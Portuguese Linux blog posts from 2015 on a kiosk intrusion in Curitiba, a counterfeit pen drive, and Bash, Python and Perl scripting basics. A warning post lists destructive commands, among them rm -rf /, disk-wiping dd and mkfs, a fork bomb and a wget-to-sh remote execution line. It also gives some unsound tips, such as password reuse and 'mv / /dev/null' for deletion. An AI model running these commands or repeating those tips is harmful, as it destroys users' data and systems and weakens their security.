domingo, 9 de agosto de 2015

Linux - Invasão em Curitiba

Essa semana uma mensagem circulou entre várias redes sociais, a Invasão nos sistemas dos Terminais de Curitiba que ao invés das informações cotidianas mostrava imagens de um Site Pornográfico. Dois detalhes fizeram parte nessa imagem:
  1. Claramente se reconhece o Sistema Operacional como o Ubuntu.
  2. O uso do software Team View - que permite a comunicação remota entre máquinas.

Certa vez um aluno me perguntou se com meus anos de experiência na área de informática conseguiria invadir um Sistema Operacional, respondi um sonoro depende. Depende dos seguintes fatores:
  1. Qual sistema? Está bem atualizado?
  2. Existe algum contato externo? (como por exemplo Internet)
  3. A senha das ferramentas administrativas é segura?
É possível invadir um Linux, ele insistiu. Facilmente respondi, principalmente se está totalmente aberto. Como assim? Ele me perguntou. Certa vez cheguei em uma máquina na qual a senha do root era admin123, na outra o JBoss (que libera vários acessos e portas) tinha como senha principal a padrão Admin/Admin e outra o sistema era tão antigo que acredito que tinha sido instalado através de disquetes.

No caso dessa invasão, percebo 2 detalhes mortais: Primeiro, o excesso de software (facilmente visualizado na barra do Ubuntu a esquerda), se isso é um terminal com um fim específico remova tudo que pode auxiliar um invasor em seu trabalho. Segundo, o invasor deve ser provavelmente um guri carregado de espinhas, pois se fosse um profissional teria mostrado alguma informação positiva como forma de protesto e não um site pornô (que por sinal é um dos mais famosos do mundo). Então, se um cracker júnior conseguiu fazer isso o que faria um profissional em invasões.

Existem no mundo profissionais que são contratados por empresas de segurança para invadir sistemas de modo a descobrir falhas. Por exemplo, a Microsoft publicou essa semana um aviso de recompensar com U$ 100 mil para aquele que mostrar falhas em seu novo sistema operacional Windows 10.

Não pense que por instalar o Linux finalmente estará livre de pragas e ataques, muito pelo contrário, existem invasões em aparelhos celulares (com todos os sistemas possíveis), Linux de todas as formas e tipos. Então as seguintes dicas preventivas continuam valendo:
  1. Deixe sempre seu sistema bem atualizado e somente com os softwares de procedência conhecida.
  2. Proteja bem a senha do root, caracteres maiúsculas e minúsculas, e números. Certa vez recebi a senha automática de um site, uma verdadeira sopa de letrinhas com 15 caracteres, tive que decorá-la pois não se permitia a troca da senha, resultado que a uso (com algumas variações) em diversos sistemas que configuro.
  3. Se vai usar softwares que permitem o controle total do computador, tais como TeamView ou LogMeIn, deixe muito bem configurado no Firewall as permissões de uso.
  4. A Internet é maravilhosa, só que para usá-la devemos ser responsáveis.
Todo sistema é passível de invasão, quem vai invadi-lo é que pode variar. Espero sinceramente que isso sirva de aviso para o responsável e a muitas outras empresas. Pois se um pseudo-cracker, que foi o responsável por isso e quis apenas testar o que aprendeu com algumas ferramentas de invasão, mas não soube mostrar nada de bom, pelo menos, podemos tirar algumas valiosas lições.

Obrigado e até a próxima
Fernando Anselmo

Não confunda as criaturas do mundo da informática: Hacker é a pessoa que elabora e modifica softwares e hardwares de computadores, seja desenvolvendo funcionalidades novas ou adaptando as antigas. Cracker é usado para aquele que pratica a quebra (ou cracking) de um sistema de segurança. E ambos os termos podem ser empregados para boas ou más intenções, por exemplo, se a pessoa cria ou modifica vírus de forma a contaminar computadores ou se modifica sistemas de antivírus para protegê-los é chamada Hacker de forma similar.

Conheça mais sobre segurança Linux neste interessante artigo com um passo a passo para manter um Sistema Linux Seguro.

sexta-feira, 7 de agosto de 2015

Linux - Descobrindo fraudes de Pen Drive

Com um pouco de pesquisa na Web descobri que existe um Pen Drive com capacidade de 2 Tb, isso mesmo, 2 Terabytes, ou seja, muito maior que alguns HD externos que existem por aí. Como um cara que vive de informática procurei mais informações e junto com alguns colegas importamos por míseros R$ 33,00 o tão sonhado Pen Drive de 2 Tb com marca HP (o que por si só já me inspirou muita confiança no produto).

Como esse aí da imagem, antes mesmo do produto chegar a venda foi cancelada e o dinheiro completamente devolvido, como assim chegar? Passado alguns dias o produto estava na minha mão. Mas qual foi o motivo que o dinheiro foi devolvido? Simples, o site deve ter identificado a série de reclamações sobre o produto.

Primeiro quero deixar claro que a HP nada tem a ver com esse produto. Segundo que na embalagem uma coisa me deixou com uma pulga atrás da orelha, dizia que o produto só podia ser usado por Windows ou Mac. Como assim? Se a formatação do mesmo era FAT32 porque não podia usar no Linux que lê sem o menor problema esse tipo de partição?

Comecei então a correr atrás do que estava acontecendo, primeiro que realmente a partição em todos os sistemas operacionais que testei indicava realmente que a capacidade era de 2 Tb. Só que ao copiar um determinado conjunto de arquivos que somavam mais do que um determinado tamanho e desplugar o Pen Drive os arquivos simplesmente desapareciam. Alguma coisa estava muito errada, resolvi então usar o Linux para descobrir.

Com alguns comandos descobri que o ChipSet do Pen Drive não era HP, mas algo como Alcor e em outro nem marca tinha. Com uma consulta a base de dados do iFlash, consegui localizar o tamanho correto: 101 Mb. Isso mesmo o que era para ser um produto de capacidade de 2 Terabytes possuía na verdade a capacidade de um Pen Drive que se fosse vendido atualmente não custaria R$ 1,00 (isso se alguém quisesse algo com capacidade de 100 disquetes que pode ser usado para dar de brinde em festa de criança - ou talvez em um casamento com as fotos dos padrinhos).

Estou postando isso para que não caia no conto do Pen Drive maravilhoso de 500 Gb, 1 Tb ou mesmo 2 Tb e perca, pior que seu dinheiro, arquivos que lhe farão uma enorme falta - ATENÇÃO: Este Pen Drive copia toda informação, só que ao desplugar ou tentar ler é que começam os problemas.

Obrigado e até a próxima
Fernando Anselmo

segunda-feira, 3 de agosto de 2015

Linux - 9 comandos fatais

Este artigo foi criado com base no artigo de Joel Lee entitulado "9 Lethal Linux Commands You Should Never Run" e por achá-lo importante resolvi adaptá-lo aqui. Não espere uma tradução literal.


Muitos usuários Linux utilizam o terminal, e o sistema supõe que todos esses usuários são extremamente inteligentes e sabem exatamente o que estão fazendo, mas são todos humanos e acredito que a característica principal da humanidade é incorrer em erros. Esses 9 comandos a seguir nunca devem ser tentados por nenhum usuário do Linux, com o perigo de danificar irreparavelmente o sistema.

Exclusão Recursiva

Um dos parâmetros mais usados com o comando rm é o -rf, principalmente para se eliminar arquivos e pastas de maneira recursiva. Mas digitar o comando:
rm -rf /
Pode ser extremamente desastroso, dica: Nunca use o sudo para operar tal comando a menos que tenha a total certeza do que está fazendo.

Formatar seu HD

Sempre que for formatar um Pen Driver se corre o risco de digitar o comando:
mkfs.vfat /dev/hda
Pode parecer bobeira, mas já perdi um Pen Driver cheio de arquivos por digitar o endereço errado, imagina se tivesse sido o HD?

Reescrever o HD

É muito comum a geração de arquivo desviando a saída de algum comando com o > e, talvez por pressa, se resolva realizar esse processo diretamente em um Pen Drive e termine escrevendo o seguinte comando:
comando > /dev/hda
Não tenha pressa, primeiro gere o arquivo e depois mova-o para seu local de destino.

Limpando o HD

Este é mais um daqueles comandos que podem estragar completamente o HD. O que acontece é, literalmente, encher seu HD com Zeros:
dd if=/dev/zero of=/dev/hda/
Normalmente é um bom comando para ser usado em Pen Drive, além de fazer as coisas com calma use sempre o comando fdisk -l para saber aonde estão suas unidades.

Implodir o HD

Que tal conseguir anular completamente seu HD? Pois basta usar o comando:
mv / /dev/null
Este arquivo /dev/null é especial no Linux para as áreas de descarte do sistema, sendo extramente útil quando se deseja eliminar uma pasta confidencial.

Pânico no Kernel

Em Windows temos a famosa Tela Azul, já em Linux temos esses terríveis comandos:
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
Basta digitar qualquer uma dessas linha para forçar uma reinicialização do sistema ou talvez algo pior.

Fork Bomb

Este termo, Fork Bomb (também chamado de Rabbit Virus ou Wabbit) é um ataque de negação de serviço em que um processo replica-se continuamente até esgotar todos recursos disponíveis no sistema, causando falta de recursos, retardamento ou deixar de funcionar.
Bash é a linguagem oficial do terminal e muito poderosa, e o seguinte comando no terminal:
:(){:|:&};:
Causa um Fork Bomb, então sempre que obter um Script que promete milagres, tente primeiro entender seu conteúdo antes de rodá-lo.

Executar um Script Remotamente

wget é um comando muito utilizado para retornar conteúdo da Web ou mesmo para acessar Sites, porém um simples combinação deste comando pode ser mortal:
wget http://uma-url-nao-confiavel -O- | sh
Essa combinação baixa um conteúdo qualquer da Web e o repassa ao comando sh para sua imediata execução. Se isso apontar para um Script malicioso pode dar adeus ao seu sistema.

Desabilitar os Privilegios do Root

Qualquer usuário Linux sabe que o usuário root é o Deus do Sistema e o utiliza indiscriminadamente, mas usar o comando:
rm -f /usr/bin/sudo;rm -f /bin/su
É uma forma muito estranha de brigar com Deus. Lembre-se que o root é seu amigo e só deve ser usado em ocasiões de extrema necessidade.

Esses 9 comandos não devem ser usados em nenhuma ocasião, como medida de segurança tenha sempre seus backups em dia. Quando abrir uma janela de terminal não tenha pressa e tenha a certeza de qual comando está digitando antes de apertar o Enter.

Obrigado e até a próxima
Fernando Anselmo 

domingo, 26 de julho de 2015

Scripts - Pegar informações

No artigo anterior vimos que as linguagens Bash e Python poderiam ser utilizadas de modo similar, porém algumas vezes é melhor escrever um script em Bash do que em Python e vice-versa. A partir deste, vamos começar a ver alguns Casos de Uso para os scripts.


Abandonei Perl? Pessoalmente não consigo ver qualquer diferença entre Python e Perl, como o mercado chama mais para essa primeira prefiro então fixar esses artigos apenas entre Bash e Python. Porém não espere que ficarei repetindo os scripts entre uma e outra linguagem, tal como fiz até o momento, usarei ambas para diferentes scripts como forma de sempre usarmos o modo mais simples que cada linguagem oferece.

Neste artigo vamos ver como pegar informações para atividades úteis do dia a dia.

1º Problema - Para realizar alguns backups, é necessário criar 10 diretórios, abaixo de um diretório pré-determinado (/backup), com um nome que é definido em cada dia, por exemplo, se o nome for lunes, os diretórios devem ser criados como lunes1, lunes2, e assim sucessivamente.

O seguinte script em Bash resolveria facilmente este problema:
#!/bin/bash
echo "Digite o nome das pastas:"
read NOME
cd "backup/"
for NUM in `seq 1 10`; do
    mkdir "$NOME$NUM"
done
2º Problema - Em cada uma das pastas criadas deve ser criado um arquivo, e dentro deste o seguinte conteúdo: "Backup realizado no dia dd/mm/aaaa às hh:mm", com o nome de data.log. Obviamente, devemos passar para o Script o nome do dia.

Para lidar com arquivos fica mais simples se escrevermos o script em Python, do seguinte modo:
#!/usr/bin/env python
import time
arqDia = raw_input('Nome do arquivo do dia: ')
for num in range(1, 11):
    nomeArq = 'backup/' + arqDia + `num` + '/data.log'
    dataFile = open(nomeArq, 'w')
    dataFile.write("Backup realizado no dia " + time.strftime("%d/%m/%Y") + " as " + time.strftime("%H:%M:%S") + '\n')
    dataFile.close()
print "Arquivos criados"
Ou seja, executando ambos arquivos faríamos uma tarefa que provavelmente gastaríamos um bom tempo para realizá-la diariamente (agora imagine com mais pastas, mais arquivos ou várias vezes ao dia).

Perdoe-me ser repetitivo, mas peço que não interprete que ambos os scripts não poderiam ser escritos tanto em Bash como em Python. E se desejar, faça isso como forma de aprendizado.

Obrigado e até a próxima
Fernando Anselmo

domingo, 12 de julho de 2015

Scripts - Diferenças entre Bash e Python

No artigo anterior discutimos sobre a utilidade dos Scripts para o usuário do Sistema Operacional e vimos que em Linux os usuários preferem estes escritos em Bash ou Python. Vamos falar agora sobre a usabilidade na construção de Scripts escritos nessas linguagem.

Começando por sua criação, para o Linux, um dos melhores editores que conheço é chamado Kate que possui um terminal embutido, veja uma imagem dele abaixo. Já a sua localização pode variar de usuário para usuário, pessoalmente gosto de mantê-los organizados embaixo de uma única pasta.


Para criar um Script, criamos um arquivo texto comum, na primeira linha colocamos o comando que indica ao sistema qual linguagem estamos utilizando e fornecemos a permissão para o arquivo ser um executável, com o comando:
$ chmod +x [nomearquivo]
Lembre-se que, por padrão, scripts Python possuem a extensão do arquivo .py enquanto que em Bash usamos .sh, recomendo que utilizemos esta forma de modo a identificar mais facilmente os arquivos.

Não existe a menor diferença entre o que podemos conseguir com Bash ou Python, o que existe é facilidade de escrita. Por exemplo, o script a seguir dispara dois comandos para obtermos algumas informações do sistema sobre dois comandos que são muito mais úteis com seus parâmetros:
  • uname: fornece o nome do seu sistema, porém com o parâmetro -a fica mais completo.
  • df: fornece o espaço livre e ocupado de cada partição, porém com o parâmetro -h essa informação fica, visualmente falando, melhor.
O script criado em Bash para executar esses comandos, com os respectivos parâmetros, teria a seguinte codificação:
#!/bin/bash
printf "Sobre seu sistema:\n"
uname -a
df -h
Já a mesma funcionalidade se fosse escrita em Python, seria assim:
#!/usr/bin/env python
import subprocess
print "Sobre seu sistema:"
subprocess.call(["uname", "-a"])
subprocess.call(["df", "-h"])
Ou seja, notamos que neste caso Bash seria muito mais simples e fácil de entender. Mas então basta apenas usar Bash e pronto? Nem sempre, vamos comparar dois Scripts que buscam uma determinada palavra em um arquivo qualquer, para o nosso exemplo crie um arquivo chamado "arquivo.txt" com o seguinte conteúdo:
Trecho esta em 1
Aqui em dois nao tem
Em tres tem Trecho
Em quatro nao
E tem trecho em cinco, mas minusculo
Está sublinhado a palavra "Trecho" apenas para observarmos melhor onde ocorre, e em negrito a palavra iniciada com a letra em minúscula. Em Bash o script seria escrito assim:
#!/bin/bash
ARQUIVO="arquivo.txt"
TRECHO="Trecho"
TOTAL=(`tr " " "\n" < $ARQUIVO | grep $TRECHO|wc -w`)
echo "A palavra '$TRECHO' ocorre $TOTAL vezes no arquivo $ARQUIVO."
Já em Python ficaria assim:
#!/usr/bin/env python
arquivo = "arquivo.txt"
trecho = "Trecho"
total = 0
try:
    fileObject = open(arquivo)
    for lin in fileObject:
        total += lin.count(trecho)
except:
    print "Arquivo " + arquivo + " inexistente."
    sys.exit(1)
finally:
    fileObject.close()
print "A palavra '" + trecho + "' ocorre " + str(total) + " no arquivo " + arquivo + "."
Algumas observações sobre o Script em Bash, primeiro que as variáveis não obrigatoriamente devem estar em letras maiúsculas, porém o sinal de igual deve estar colado (sem uso de espaço). Segundo é que o comando colocado em TOTAL usa dois "macetes" o primeiro é que o sinal "`" não é aspas simples, mas o caractere que normalmente usamos para conseguir a crase. E finalmente o comando é uma agregação dos comandos "tr", "grep" e "wc" para conseguirmos a totalização das ocorrências.

Já em Python, apesar de muito maior acredito que seja de auto entendimento (obviamente partindo do princípio que conhece a linguagem), ou seja, no caso de uma manutenção seria muito mais simples em Python do que em Bash. Scripts devem ser usados para serem de fácil entendimento, não adianta escrevermos 3 ou 4 linhas e na hora que precisamos modificar algo ficarmos completamente perdido.

Se duvida, tente modificar ambos os scripts para localizar a palavra pouco importando letras maiúsculas ou minúsculas, veja qual dará mais trabalho.

Obrigado e até a próxima
Fernando Anselmo

domingo, 5 de julho de 2015

Scripts - Facilite seu trabalho

Uma das grandes diferenças entre usuário Linux e Windows é o modo como usam a Janela do Terminal (ou de comandos). Os usuários Windows mal sabem sua existência e só dão o comando CMD em caso de extrema necessidade, e sendo muito experientes. Acho isso uma pena pois muita coisa poderia ser facilmente resolvida através dessa janela.

Para os que vivem no mundo Linux, não se passa um único dia sem ao menos acessar essa janela. Porém, muitos a usam de modo muito primitivo, por exemplo, para realizar uma limpeza no sistema preferem abri-la e digitar a série de comandos necessários para realizar a tarefa, mesmo que isso tenha que ser feito semanalmente.

Para ambos os mundos existe a solução adotada do Grande Porte para tarefas rotineiras, a criação de arquivos BATCH - São arquivos que contém os comandos para que o Sistema Operacional realize determinadas operações de forma conjunta. No Windows esses arquivos são nomeados para .bat e contém comandos em linguagem DOS. Já no Linux isso vira a festa de linguagem, mas seu modo de execução é similar em um arquivo formato texto, colocar os códigos, fornecer a permissão de execução para o arquivo e executá-lo com o comando: ./nomearq.

Entre as principais linguagens que podemos utilizar se destacam: Bash (nativa do terminal), Python e Perl. Outro dado curioso é a extensão do arquivo que, diferente do Windows, no Linux é uma mera padronização, assim para Bash usamos a extensão .sh, em Python a extensão .py e para Perl a extensão .pl. Porém poderíamos colocar qualquer coisa que funcionaria do mesmo modo, o que indica ao sistema operacional é a primeira linha do Script (observe as diferenças abaixo).

Comparemos um laço de decisão com o comando IF nas três linguagens para verificarmos essa diferença, primeiro em Bash:
#!/bin/bash
if [ -d "/tmp" ] ; then
  echo "/tmp é um diretório"
else
  echo "/tmp não é um diretório"
fi
O equivalente em Python:
#!/usr/bin/env python
import os
if os.path.isdir("/tmp"):
  print "/tmp é um diretório"
else:
  print "/tmp não é um diretório"
E o equivalente em Perl:
#!/usr/bin/perl
if (-d "/tmp") {
  print "/tmp é um diretório";
} else {
  print "/tmp não é um diretório";
}
Talvez com um laço de repetição possamos perceber melhor essa diferença, novamente iniciando com Bash:
#!/bin/bash
for a in 1 2; do
  for b in a b; do
    echo "$a $b"
  done
done
O equivalente em Python:
#!/usr/bin/env python
for a in [1, 2]:
  for b in ['a', 'b']:
    print a, b
E o equivalente em Perl:
#!/usr/bin/perl
foreach $a ('1', '2') {
  foreach $b ('a', 'b') {
    print "$a $b\n";
  }
}
Como todas derivam do C então as diferenças entre elas são muito sensíveis. Entre essas três, as duas primeiras são preferidas pela maioria dos usuários, conforme demonstrou uma pesquisa que realizei na lista Linux Brasil, da rede social Google+:


E apenas como característica de controle, fiz a mesma pesquisa na lista Ubuntu - Linux - Brasil, na mesma rede, obtive resultados similares:


O próprio mercado já percebeu isso, essa semana contei um aumento de solicitação para programadores nas lista de emprego com conhecimento tanto em Python como Bash para Administradores de Sistema Operacional Linux. Por esse motivo, decidi escrever uma série de artigos mostrando algumas soluções administrativas para auxiliar algumas tarefas rotineiras do Linux.

Obrigado e até a próxima
Fernando Anselmo

sábado, 27 de junho de 2015

Phyton - Conversão de EML para HTML

Resolvi usar a linguagem Python para resolver alguns problemas que tenho no dia a dia, o primeiro deles é os e-mails que recebo da lista EFR, são dicas incríveis de inglês e gosto de guardá-las para estudo.

Meu problema é que o Thunderbird salva em formato EML e convenhamos que não é muito agradável armazenar estas dicas neste formato. Dentro deste arquivo existe o conteúdo da aula que está em formato HTML e, além disso, algumas dicas vem com um link para baixar o Áudio da aula. Deste modo tinha que realizar os seguintes passos:
  • Salvar com o Thunderbird o arquivo em formato EML.
  • Abrir o arquivo com um editor e copiar a parte HTML com o conteúdo desejado.
  • Salvar em um arquivo com a extensão HTML.
  • Abrir este arquivo, clicar no link contendo o áudio da aula e realizar o download.
Baixe aqui um exemplo deste arquivo.

Concordo que são ações bem simples em se fazer e gasto no máximo 5 minutos para realizá-las, porém são 3 emails por dia, ou seja 21 emails por semana o que pode tornar 5 minutos em 01:45 por semana. Já aprendi que tempo é muito valioso e não quero perdê-lo assim.

Python é uma linguagem muito simples, principalmente para aqueles que conhecem algum derivado do C como Java ou mesmo PHP e C#. No Linux já está instalado por padrão e nos outros ambiente basta baixar do site oficial. Aqui está o código que fiz para realizar todo o serviço descrito sobre o arquivo:
# ---------------------------------------------------------------------------------
# Script: LendoArqs.py
# Linguagem: Python
# Autor: Fernando Anselmo
# Criado em: 23/06/2015
# Funcionalidade:
#   Converter o email da lista 'Aprendendo Ingles para HTML e baixar o arquivo MP3,
#   caso exista.
# Arquivo de Entrada: formato EML (salvar pelo Thunderbird)
# ---------------------------------------------------------------------------------
import wget

class Leitura:
    def obterArquivo(self):
        print('=' * 60)
        print('Converter o email da lista \'Aprendendo Ingl\u00EAs\' para HTML')
        print('E baixar o arquivo MP3, caso exista.')
        print('Por Fernando Anselmo - Vers\u00E3o 1.0')
        print('Arquivo de Entrada: formato EML (salvar pelo Thunderbird)')
        print('Site: http://www.aprendendoingles.com.br/')
        print('=' * 60)
        self.nomeArq = input('Informe o nome do arquivo (ex. EFR_0001): ')
        self.caminho = input('Informe a pasta que se encontra o arquivo (ex. F:/): ')
        self.url = ''

    # Montagem do arquivo
    def montagem(self):
        entrada = open(self.caminho + self.nomeArq + '.eml', 'r+')
        saida = open(self.caminho + self.nomeArq + '.html', 'w')
        inicia = False
        mostra1 = True
        mostra2 = True
        print('Passo 1. Gerando arquivo...')
        for linha in entrada:
            if linha.strip().startswith('<!DOCTYPE'):
                inicia = True
            if '<div align="center">' in linha:
                mostra1 = False
            if linha.strip().startswith('<div id="fromDMARC"'):
                mostra2 = False
            if not mostra2 and linha.strip().startswith('</body>'):
                mostra2 = True
            if inicia and mostra1 and mostra2 and len(linha.strip()) > 0:
                if (".mp3" in linha):
                    self.url = linha
                saida.write(linha)
            if not mostra1 and linha.strip().startswith('</div>'):
                mostra1 = True
            if linha.strip().startswith('</html>'):
                break
        print('Passo 2. Arquivo gerado.')
        # Fechar o arquivo
        entrada.closed
        saida.closed

    # Baixar (se caso) o arquivo MP3
    def baixarArquivo(self):
        if (len(self.url) > 0):
            print('Passo 3. Baixando arquivo MP3...')
            self.url = self.url[self.url.index('http'):self.url.index('.mp3')+4]
            wget.download(self.url, self.caminho + self.nomeArq + '.mp3')
            print('Passo 4. Arquivo MP3 Baixado.')
        else:
            print('Passo 3. N\u00E3o cont\u00E9m arquivo MP3 para baixar.')

# Metodo principal
def main():
    ler = Leitura()
    ler.obterArquivo()
    ler.montagem()
    ler.baixarArquivo()

# Chamada inicial
if __name__ == '__main__':
    main()

# Final do Arquivo
Para executá-lo basta salvar o arquivo com o nome LendoArqs.py e na janela de comandos digitar: python LendoArqs.py e o programa pedirá as informações necessárias. Lembro que para Python 2 essas informações devem ser entre aspas simples.

Baixe aqui o resultado em HTML após a execução do programa.

Não pretendo aqui dar aula de Python, recomendo se deseja aprender, faça o download gratuito do livro "Thinking in Python". Este programa está dividido em 3 partes, a primeira solicita as informações necessárias para converter o arquivo, a segunda acha o trecho correto dos códigos HTML e salva um arquivo de mesmo nome com a extensão HTML e a última verifica a existência do arquivo MP3 e procede, caso exista, seu download.

ATENÇÃO: Este programa requer o módulo wget que pode ser obtido neste site. Basta descompactar o arquivo wget.py para a pasta de instalação do Python (ex. No Linux em /usr/lib).

Outra observação é que tudo poderia ser bem mais simples, mas resolvi deixar em formato de uma classe seguindo os conceitos da Orientação a Objetos de modo que possa aproveitá-lo em outras construções.

Obrigado e até a próxima
Fernando Anselmo